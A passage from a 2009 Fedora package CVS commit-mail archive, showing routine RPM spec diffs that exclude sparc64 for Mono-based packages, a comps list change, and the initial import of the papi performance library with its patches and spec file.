 # based on libdrm's make-git-snapshot.sh 
@@ -27,6 +27,7 @@ Requires: clutter
 # clutter-gtk support, since it requires version >= 0.10.3
 #BuildRequires: clutter-gtk-devel 
 #Requires: clutter-gtk
+ExcludeArch: sparc64
 
 %description
 Clutter-sharp offers C#/.NET bindings to Clutter
@@ -74,6 +75,9 @@ rm -rf %{buildroot}
 %{_libdir}/monodoc/sources/*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0-0.6.20090828
+- ExcludeArch sparc64
+
 * Fri Sep 25 2009 Christian Krause <chkr at fedoraproject.org> - 0-0.5.20090828
 - Fix some spelling mistakes
 - Correct email address



From rdieter at fedoraproject.org  Mon Oct 26 20:32:59 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 20:32:59 +0000 (UTC)
Subject: rpms/kdebindings/devel kdebindings.spec,1.248,1.249
Message-ID: <20091026203259.DCBA211C0264@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebindings/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16392

Modified Files:
	kdebindings.spec 
Log Message:
* Mon Oct 26 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
- sync archs supporting csharp(mono)



Index: kdebindings.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebindings/devel/kdebindings.spec,v
retrieving revision 1.248
retrieving revision 1.249
diff -u -p -r1.248 -r1.249
--- kdebindings.spec	25 Oct 2009 04:56:10 -0000	1.248
+++ kdebindings.spec	26 Oct 2009 20:32:59 -0000	1.249
@@ -1,10 +1,18 @@
+
 # define to enable these optional bits
 ## arch'es matching mono's ExclusiveArch set
-%ifarch %{ix86} x86_64 ppc ia64 armv4l sparc alpha s390 s390x
+%if 0%{?fedora} > 11
+%ifnarch sparc64
+%define csharp 1
+%endif
+%endif
+%if 0%{?fedora} == 11
+%ifarch %{ix86} x86_64 ia64 armv4l sparcv9 alpha s390 s390x ppc ppc64 
 %define csharp 1
 %endif
-%if 0%{?fedora} > 10
-%ifarch ppc64
+%endif
+%if 0%{?fedora} == 10
+%ifarch %{ix86} x86_64 ia64 armv4l sparc alpha s390 s390x ppc
 %define csharp 1
 %endif
 %endif
@@ -45,7 +53,7 @@
 
 Name: kdebindings
 Version: 4.3.2
-Release: 2%{?dist}
+Release: 3%{?dist}
 Summary: KDE bindings to non-C++ languages
 
 # http://techbase.kde.org/Policies/Licensing_Policy
@@ -531,6 +539,9 @@ fi
 
 
 %changelog
+* Mon Oct 26 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
+- sync archs supporting csharp(mono)
+
 * Sun Oct 25 2009 Ben Boeckel <MathStuf at gmail.com> - 4.3.2-2
 - fix bz#530667
 



From ausil at fedoraproject.org  Mon Oct 26 20:34:46 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:34:46 +0000 (UTC)
Subject: rpms/mono-cecil-flowanalysis/F-12 mono-cecil-flowanalysis.spec, 1.9,
	1.10
Message-ID: <20091026203446.3C75411C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-cecil-flowanalysis/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16976

Modified Files:
	mono-cecil-flowanalysis.spec 
Log Message:
excludeArch sparc64



Index: mono-cecil-flowanalysis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-cecil-flowanalysis/F-12/mono-cecil-flowanalysis.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- mono-cecil-flowanalysis.spec	25 Jul 2009 15:00:03 -0000	1.9
+++ mono-cecil-flowanalysis.spec	26 Oct 2009 20:34:46 -0000	1.10
@@ -2,7 +2,7 @@
 
 Name:	 	mono-cecil-flowanalysis
 Version:	0.1
-Release:	0.9.20080409svn100264%{?dist}
+Release:	0.10.20080409svn100264%{?dist}
 Summary:	Flowanalysis engine for Cecil
 URL:		http://anonsvn.mono-project.com/viewcvs/trunk/cecil/flowanalysis/
 License:	MIT
@@ -15,7 +15,7 @@ Source1:	cecil-flowanalysis.pc
 Patch0:		flowanalysis-build.patch
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildRequires:	mono-devel
-ExcludeArch:	ppc64
+ExcludeArch:	ppc64 sparc64
 
 %description
 Flowanalysis engine for Cecil.
@@ -59,6 +59,9 @@ gacutil -i bin/Cecil.FlowAnalysis.dll -f
 %{_libdir}/pkgconfig/cecil-flowanalysis.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.1-0.10.20080409svn100264
+- ExcludeArch sparc64
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.1-0.9.20080409svn100264
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 20:35:37 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:35:37 +0000 (UTC)
Subject: rpms/mono-cecil-flowanalysis/devel mono-cecil-flowanalysis.spec, 1.9,
	1.10
Message-ID: <20091026203537.B004A11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-cecil-flowanalysis/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17212

Modified Files:
	mono-cecil-flowanalysis.spec 
Log Message:
excludeArch sparc64



Index: mono-cecil-flowanalysis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-cecil-flowanalysis/devel/mono-cecil-flowanalysis.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- mono-cecil-flowanalysis.spec	25 Jul 2009 15:00:03 -0000	1.9
+++ mono-cecil-flowanalysis.spec	26 Oct 2009 20:35:37 -0000	1.10
@@ -2,7 +2,7 @@
 
 Name:	 	mono-cecil-flowanalysis
 Version:	0.1
-Release:	0.9.20080409svn100264%{?dist}
+Release:	0.10.20080409svn100264%{?dist}
 Summary:	Flowanalysis engine for Cecil
 URL:		http://anonsvn.mono-project.com/viewcvs/trunk/cecil/flowanalysis/
 License:	MIT
@@ -15,7 +15,7 @@ Source1:	cecil-flowanalysis.pc
 Patch0:		flowanalysis-build.patch
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildRequires:	mono-devel
-ExcludeArch:	ppc64
+ExcludeArch:	ppc64 sparc64
 
 %description
 Flowanalysis engine for Cecil.
@@ -59,6 +59,9 @@ gacutil -i bin/Cecil.FlowAnalysis.dll -f
 %{_libdir}/pkgconfig/cecil-flowanalysis.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.1-0.10.20080409svn100264
+- ExcludeArch sparc64
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.1-0.9.20080409svn100264
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 20:37:33 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:37:33 +0000 (UTC)
Subject: rpms/mono-sharpcvslib/F-12 mono-sharpcvslib.spec,1.10,1.11
Message-ID: <20091026203733.F240F11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-sharpcvslib/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17653

Modified Files:
	mono-sharpcvslib.spec 
Log Message:
exclude sparc64



Index: mono-sharpcvslib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-sharpcvslib/F-12/mono-sharpcvslib.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- mono-sharpcvslib.spec	31 Jul 2009 14:37:19 -0000	1.10
+++ mono-sharpcvslib.spec	26 Oct 2009 20:37:33 -0000	1.11
@@ -2,7 +2,7 @@
 
 Name:	 	mono-sharpcvslib
 Version:	0.35
-Release:	11%{?dist}
+Release:	12%{?dist}
 Summary:	Client cvs library written in C#
 URL:		http://sharpcvslib.sourceforge.net/
 # Exception: Permission is given to use this library in commercial closed-source applications
@@ -18,7 +18,7 @@ Patch1:		sharpcvslib-key.patch
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildRequires:	mono-devel >= 2.2, log4net-devel, nant, mono-nunit22-devel
 BuildRequires:	unzip
-ExcludeArch:	ppc64 ppc
+ExcludeArch:	ppc64 ppc sparc64
 
 %description
 Gives C# projects the ability to communicate with a CVS server.
@@ -95,6 +95,9 @@ mv src/doc/api/msdn/tree.js{.utf8,}
 %{_libdir}/pkgconfig/sharpcvslib.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.35-12
+- ExcludeArch sparc64
+
 * Fri Jul 31 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 0.35-11
 - rebuild again
 



From ausil at fedoraproject.org  Mon Oct 26 20:38:31 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:38:31 +0000 (UTC)
Subject: rpms/mono-sharpcvslib/devel mono-sharpcvslib.spec,1.10,1.11
Message-ID: <20091026203831.9C3C511C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-sharpcvslib/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17875

Modified Files:
	mono-sharpcvslib.spec 
Log Message:
Exclude sparc64



Index: mono-sharpcvslib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-sharpcvslib/devel/mono-sharpcvslib.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- mono-sharpcvslib.spec	31 Jul 2009 14:37:19 -0000	1.10
+++ mono-sharpcvslib.spec	26 Oct 2009 20:38:31 -0000	1.11
@@ -2,7 +2,7 @@
 
 Name:	 	mono-sharpcvslib
 Version:	0.35
-Release:	11%{?dist}
+Release:	12%{?dist}
 Summary:	Client cvs library written in C#
 URL:		http://sharpcvslib.sourceforge.net/
 # Exception: Permission is given to use this library in commercial closed-source applications
@@ -18,7 +18,7 @@ Patch1:		sharpcvslib-key.patch
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildRequires:	mono-devel >= 2.2, log4net-devel, nant, mono-nunit22-devel
 BuildRequires:	unzip
-ExcludeArch:	ppc64 ppc
+ExcludeArch:	ppc64 ppc sparc64
 
 %description
 Gives C# projects the ability to communicate with a CVS server.
@@ -95,6 +95,9 @@ mv src/doc/api/msdn/tree.js{.utf8,}
 %{_libdir}/pkgconfig/sharpcvslib.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.35-12
+- ExcludeArch sparc64
+
 * Fri Jul 31 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 0.35-11
 - rebuild again
 



From ausil at fedoraproject.org  Mon Oct 26 20:41:40 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:41:40 +0000 (UTC)
Subject: rpms/f-spot/F-12 f-spot.spec,1.95,1.96
Message-ID: <20091026204140.5938711C02C6@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/f-spot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19743

Modified Files:
	f-spot.spec 
Log Message:
excludeArch sparc64



Index: f-spot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/f-spot/F-12/f-spot.spec,v
retrieving revision 1.95
retrieving revision 1.96
diff -u -p -r1.95 -r1.96
--- f-spot.spec	12 Oct 2009 21:26:33 -0000	1.95
+++ f-spot.spec	26 Oct 2009 20:41:40 -0000	1.96
@@ -1,6 +1,6 @@
 Name:           f-spot
 Version:        0.6.1.3
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Photo management application
 
 Group:          Applications/Multimedia
@@ -36,8 +36,8 @@ Requires:       yelp
 Requires(post): desktop-file-utils
 Requires(postun): desktop-file-utils
 
-# Mono only available on these: (s390x disabled for now)
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha 
+# no mono available
+ExcludeArch: sparc64
 
 # Some compiler segfault on ia64:
 ExcludeArch: ia64
@@ -139,6 +139,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/applications/screensavers/f-spot-screensaver.desktop
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.6.1.3-2
+- ExcludeArch sparc64
+
 * Sun Oct 04 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.3-1
 - Update to 0.6.1.3 (BZ 526217)
 - Remove two upstreamed patches



From rdieter at fedoraproject.org  Mon Oct 26 20:41:34 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 20:41:34 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.173,1.174 comps-f13.xml.in,1.60,1.61
Message-ID: <20091026204134.53A0811C02C6@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19462

Modified Files:
	comps-f12.xml.in comps-f13.xml.in 
Log Message:
kde-desktop: -gtk-qt-engine, +kcm-gtk(default)



Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.173
retrieving revision 1.174
diff -u -p -r1.173 -r1.174
--- comps-f12.xml.in	26 Oct 2009 19:13:55 -0000	1.173
+++ comps-f12.xml.in	26 Oct 2009 20:41:33 -0000	1.174
@@ -3676,6 +3676,7 @@
       <packagereq type="default">dejavu-serif-fonts</packagereq>
       <packagereq type="default">digikam</packagereq>
       <packagereq type="default">kaffeine</packagereq>
+      <packagereq type="default">kcm-gtk</packagereq>
       <packagereq type="default">kde-settings-pulseaudio</packagereq>
       <packagereq type="default">kdeaccessibility</packagereq>
       <packagereq type="default">kdeartwork-screensavers</packagereq>
@@ -3711,7 +3712,6 @@
       <packagereq type="optional">bibletime</packagereq>
       <packagereq type="optional">compiz-kde</packagereq>
       <packagereq type="optional">crystal</packagereq>
-      <packagereq type="optional">gtk-qt-engine</packagereq>
       <packagereq type="optional">kbibtex</packagereq>
       <packagereq type="optional">kbilliards</packagereq>
       <packagereq type="optional">kchmviewer</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- comps-f13.xml.in	26 Oct 2009 19:13:55 -0000	1.60
+++ comps-f13.xml.in	26 Oct 2009 20:41:33 -0000	1.61
@@ -3653,6 +3653,7 @@
       <packagereq type="default">dejavu-serif-fonts</packagereq>
       <packagereq type="default">digikam</packagereq>
       <packagereq type="default">kaffeine</packagereq>
+      <packagereq type="default">kcm-gtk</packagereq>
       <packagereq type="default">kde-settings-pulseaudio</packagereq>
       <packagereq type="default">kdeaccessibility</packagereq>
       <packagereq type="default">kdeartwork-screensavers</packagereq>
@@ -3688,7 +3689,6 @@
       <packagereq type="optional">bibletime</packagereq>
       <packagereq type="optional">compiz-kde</packagereq>
       <packagereq type="optional">crystal</packagereq>
-      <packagereq type="optional">gtk-qt-engine</packagereq>
       <packagereq type="optional">kbibtex</packagereq>
       <packagereq type="optional">kbilliards</packagereq>
       <packagereq type="optional">kchmviewer</packagereq>



From wcohen at fedoraproject.org  Mon Oct 26 20:42:20 2009
From: wcohen at fedoraproject.org (William Eden Cohen)
Date: Mon, 26 Oct 2009 20:42:20 +0000 (UTC)
Subject: rpms/papi/devel import.log, NONE, 1.1 papi-3.7.0-exit.patch, NONE, 
	1.1 papi-3.7.0-multiplex.patch, NONE,
	1.1 papi-3.7.0-soname.patch, NONE, 1.1 papi-3.7.0-x86-rule.patch,
	NONE, 1.1 papi.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091026204220.B475F11C0264@cvs1.fedora.phx.redhat.com>

Author: wcohen

Update of /cvs/pkgs/rpms/papi/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20098/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log papi-3.7.0-exit.patch papi-3.7.0-multiplex.patch 
	papi-3.7.0-soname.patch papi-3.7.0-x86-rule.patch papi.spec 
Log Message:
Initial commit of papi package into fedora.



--- NEW FILE import.log ---
papi-3_7_0-10:HEAD:papi-3.7.0-10.src.rpm:1256589687

papi-3.7.0-exit.patch:
 papi_internal.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE papi-3.7.0-exit.patch ---
diff -ur papi-3.7.0.orig/src/papi_internal.c papi-3.7.0.patches/src/papi_internal.c
--- papi-3.7.0.orig/src/papi_internal.c	2009-08-26 20:01:25.000000000 +0100
+++ papi-3.7.0.patches/src/papi_internal.c	2009-10-09 10:14:39.665680864 +0100
@@ -107,7 +107,7 @@
       PAPIERROR(str);
 
       if (_papi_hwi_error_level == PAPI_VERB_ESTOP)
-         exit(-errorCode);
+         abort ();
       else
          return errorCode;
       break;

papi-3.7.0-multiplex.patch:
 multiplex.c |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE papi-3.7.0-multiplex.patch ---
diff -up src/multiplex.c.mult src/multiplex.c
--- src/multiplex.c.mult	2009-09-25 12:11:49.451283900 -0400
+++ src/multiplex.c	2009-09-25 12:12:53.144294969 -0400
@@ -313,9 +313,10 @@ static MasterEvent *get_my_threads_maste
       return (tlist->head);
 
    tid = _papi_hwi_thread_id_fn();
+   unsigned long pid = getpid();
 
    while (t) {
-      if (t->tid == tid)
+      if (t->tid == tid || ((tid==0) && (t->tid==pid)))
          return (t->head);
       t = t->next;
    }

papi-3.7.0-soname.patch:
 Rules.perfctr     |    2 +-
 Rules.perfctr-pfm |    2 +-
 Rules.pfm2        |    2 +-
 Rules.pfm_pcl     |    2 +-
 Rules.pfm_pcl.x86 |    2 +-
 5 files changed, 5 insertions(+), 5 deletions(-)

--- NEW FILE papi-3.7.0-soname.patch ---
diff -ur papi-3.7.0.orig/src/Rules.perfctr papi-3.7.0.patches/src/Rules.perfctr
--- papi-3.7.0.orig/src/Rules.perfctr	2009-08-24 21:21:29.000000000 +0100
+++ papi-3.7.0.patches/src/Rules.perfctr	2009-10-09 10:11:53.137683917 +0100
@@ -69,7 +69,7 @@
 endif
 
 CC_R    	:= $(CC) -pthread
-CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
+CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so.3 -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
 
 ifeq (pgf77,$(F77))
 	FFLAGS      += -Wall -Mextend $(BITFLAGS)
diff -ur papi-3.7.0.orig/src/Rules.perfctr-pfm papi-3.7.0.patches/src/Rules.perfctr-pfm
--- papi-3.7.0.orig/src/Rules.perfctr-pfm	2009-08-24 21:21:29.000000000 +0100
+++ papi-3.7.0.patches/src/Rules.perfctr-pfm	2009-10-09 10:12:13.249680559 +0100
@@ -78,7 +78,7 @@
 endif
 
 CC_R    	:= $(CC) -pthread
-CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
+CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so.3 -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
 
 ifeq (pgf77,$(F77))
 	FFLAGS      += -Wall -Mextend $(BITFLAGS)
diff -ur papi-3.7.0.orig/src/Rules.pfm2 papi-3.7.0.patches/src/Rules.pfm2
--- papi-3.7.0.orig/src/Rules.pfm2	2009-08-24 21:21:29.000000000 +0100
+++ papi-3.7.0.patches/src/Rules.pfm2	2009-10-09 10:12:38.552430433 +0100
@@ -17,7 +17,7 @@
 endif
 
 CC_R    	:= $(CC) -pthread
-CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
+CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so.3 -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
 
 ifeq (pgf77,$(F77))
 	FFLAGS      += -Mextend
diff -ur papi-3.7.0.orig/src/Rules.pfm_pcl papi-3.7.0.patches/src/Rules.pfm_pcl
--- papi-3.7.0.orig/src/Rules.pfm_pcl	2009-10-09 10:06:54.326680322 +0100
+++ papi-3.7.0.patches/src/Rules.pfm_pcl	2009-10-09 10:12:45.255680805 +0100
@@ -16,7 +16,7 @@
 endif
 
 CC_R    	:= $(CC) -pthread
-CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
+CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so.3 -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
 
 ifeq (pgf77,$(F77))
 	FFLAGS      += -Mextend
diff -ur papi-3.7.0.orig/src/Rules.pfm_pcl.x86 papi-3.7.0.patches/src/Rules.pfm_pcl.x86
--- papi-3.7.0.orig/src/Rules.pfm_pcl.x86	2009-08-24 21:21:29.000000000 +0100
+++ papi-3.7.0.patches/src/Rules.pfm_pcl.x86	2009-10-09 10:12:52.808555272 +0100
@@ -16,7 +16,7 @@
 endif
 
 CC_R    	:= $(CC) -pthread
-CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
+CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so.3 -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
 
 ifeq (pgf77,$(F77))
 	FFLAGS      += -Mextend

papi-3.7.0-x86-rule.patch:
 Rules.pfm_pcl |    7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

--- NEW FILE papi-3.7.0-x86-rule.patch ---
diff -up src/Rules.pfm_pcl.x86 src/Rules.pfm_pcl
--- src/Rules.pfm_pcl.x86	2009-08-24 16:21:29.000000000 -0400
+++ src/Rules.pfm_pcl	2009-09-29 11:11:14.000000000 -0400
@@ -74,12 +74,9 @@ ifeq (pcl, $(SUBSTR))
   MISCSRCS += sys_perf_counter_open.c
 endif
 
-ifneq (CRAYX2, $(COMPILER))
-  ifneq (ia64, $(ARCH))
-    ifneq (ppc64, $(ARCH))
+# Additional ARCH settings for x86
+ifeq (86, $(findstring 86,$(ARCH)))
       MISCSRCS +=  x86_cache_info.c
-    endif
-  endif
 endif
 
 # This is necessary to avoid text relocations. You cannot do -Lxx -lx because


--- NEW FILE papi.spec ---
Summary: Performance Application Programming Interface
Name: papi
Version: 3.7.0
Release: 10
License: BSD
Group: Development/System
URL: http://icl.cs.utk.edu/papi/
Source0: http://icl.cs.utk.edu/projects/papi/downloads/%{name}-%{version}.tar.gz
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
Patch1: papi-3.7.0-multiplex.patch
Patch2: papi-3.7.0-x86-rule.patch
Patch3: papi-3.7.0-soname.patch
Patch4: papi-3.7.0-exit.patch
BuildRequires: ncurses-devel
BuildRequires: gcc-gfortran
BuildRequires: kernel-devel >= 2.6.31
BuildRequires: chrpath

%description
PAPI provides a programmer interface to monitor the performance of
running programs.

%package devel
Summary: Header files for the compiling programs with PAPI
Group: Development/System
Requires: papi = %{version}-%{release}
%description devel
PAPI-devel includes the C header files that specify the PAPI userspace
libraries and interfaces. This is required for rebuilding any program
that uses PAPI.

%prep
%setup -q
%patch1 -p0 -b .multiplex
%patch2 -p0 -b .x86
%patch3 -p1 -b .soname
%patch4 -p1 -b .exit


%build
cd src
PERF_HEAD=`ls /usr/src/kernels/*/include/linux/perf_counter.h|sort |tail -n 1` || exit 1
ln -s $PERF_HEAD perf_counter.h
%configure --with-pcl=yes --disable-static
make %{?_smp_mflags}

#%check
#cd src
#make fulltest

%install
rm -rf $RPM_BUILD_ROOT
cd src
make DESTDIR=$RPM_BUILD_ROOT install

chrpath --delete $RPM_BUILD_ROOT%{_libdir}/*.so*

# Remove the static libraries. Static libraries are undesirable:
# https://fedoraproject.org/wiki/Packaging/Guidelines#Packaging_Static_Libraries
rm -rf $RPM_BUILD_ROOT%{_libdir}/*.a

%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig
%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%{_bindir}/*
%{_libdir}/*.so.*
/usr/share/papi
%doc INSTALL.txt README LICENSE.txt RELEASENOTES.txt

%files devel
%defattr(-,root,root,-)
%{_includedir}/*.h
%{_includedir}/perfmon
%{_libdir}/*.so
%doc %{_mandir}/man3/*

%changelog
* Fri Oct 09 2009 William Cohen <wcohen at redhat.com> - 3.7.0-10
- Eliminate the papi-static subpackage.

* Fri Oct 09 2009 Richard W.M. Jones <rjones at redhat.com> - 3.7.0-9
- Fix defattr definitions.

* Fri Oct 09 2009 Richard W.M. Jones <rjones at redhat.com> - 3.7.0-8
- Fix URL and Source0.
- Grammatical corrections to the description sections.
- Remove RPATHs from shared libraries.
- RPM shouldn't own directories.
- Add soname patch so soname is libpapi.so.3.
- Add exit patch so library doesn't call exit directly.

* Thu Oct 01 2009 William Cohen <wcohen at redhat.com> - 3.7.0-7
- URL point to place to get download of release.
- Requires for -devel RPM.

* Tue Sep 29 2009 William Cohen <wcohen at redhat.com> - 3.7.0-6
- Remove the check section from the spec file.

* Tue Sep 29 2009 William Cohen <wcohen at redhat.com> - 3.7.0-5
- Compile x86_cache_info.c only on x86 machines.

* Fri Sep 25 2009 William Cohen <wcohen at redhat.com> - 3.7.0-4
- Add patch for multiplex.c.

* Thu Sep 24 2009 William Cohen <wcohen at redhat.com> - 3.7.0-3
- Add testing for C and Fortran.

* Thu Sep 24 2009 William Cohen <wcohen at redhat.com> - 3.7.0-2
- Split out the static libraries into separate sub package.

* Wed Sep 23 2009 William Cohen <wcohen at redhat.com> - 3.7.0-1
- Initial build.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/papi/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:12:06 -0000	1.1
+++ .cvsignore	26 Oct 2009 20:42:20 -0000	1.2
@@ -0,0 +1 @@
+papi-3.7.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/papi/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:12:06 -0000	1.1
+++ sources	26 Oct 2009 20:42:20 -0000	1.2
@@ -0,0 +1 @@
+d20198ecd5afeaa8fd18bc53c47d537d  papi-3.7.0.tar.gz



From ausil at fedoraproject.org  Mon Oct 26 20:42:27 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:42:27 +0000 (UTC)
Subject: rpms/f-spot/devel f-spot.spec,1.95,1.96
Message-ID: <20091026204227.1D38711C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/f-spot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20300

Modified Files:
	f-spot.spec 
Log Message:
Exclude sparc



Index: f-spot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/f-spot/devel/f-spot.spec,v
retrieving revision 1.95
retrieving revision 1.96
diff -u -p -r1.95 -r1.96
--- f-spot.spec	4 Oct 2009 19:42:48 -0000	1.95
+++ f-spot.spec	26 Oct 2009 20:42:27 -0000	1.96
@@ -1,6 +1,6 @@
 Name:           f-spot
 Version:        0.6.1.3
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Photo management application
 
 Group:          Applications/Multimedia
@@ -36,8 +36,8 @@ Requires:       yelp
 Requires(post): desktop-file-utils
 Requires(postun): desktop-file-utils
 
-# Mono only available on these: (s390x disabled for now)
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha 
+# no mono available
+ExcludeArch: sparc64
 
 # Some compiler segfault on ia64:
 ExcludeArch: ia64
@@ -139,11 +139,14 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/applications/screensavers/f-spot-screensaver.desktop
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.6.1.3-2
+- ExcludeArch sparc64
+
 * Sun Oct 04 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.3-1
 - Update to 0.6.1.3 (BZ 526217)
 - Remove two upstreamed patches
-- Use a slightly different fix for the cairo-devel dependency as
-  suggested by upstream
+- Use a slightly different fix for the cairo-devel dependency 
+  (suggested by upstream)
 
 * Wed Sep 30 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.2-3
 - Add patch to fix f-spot crash when using "soft focus" and cairo-devel



From ausil at fedoraproject.org  Mon Oct 26 20:44:31 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:44:31 +0000 (UTC)
Subject: rpms/gnome-guitar/F-12 gnome-guitar.spec,1.5,1.6
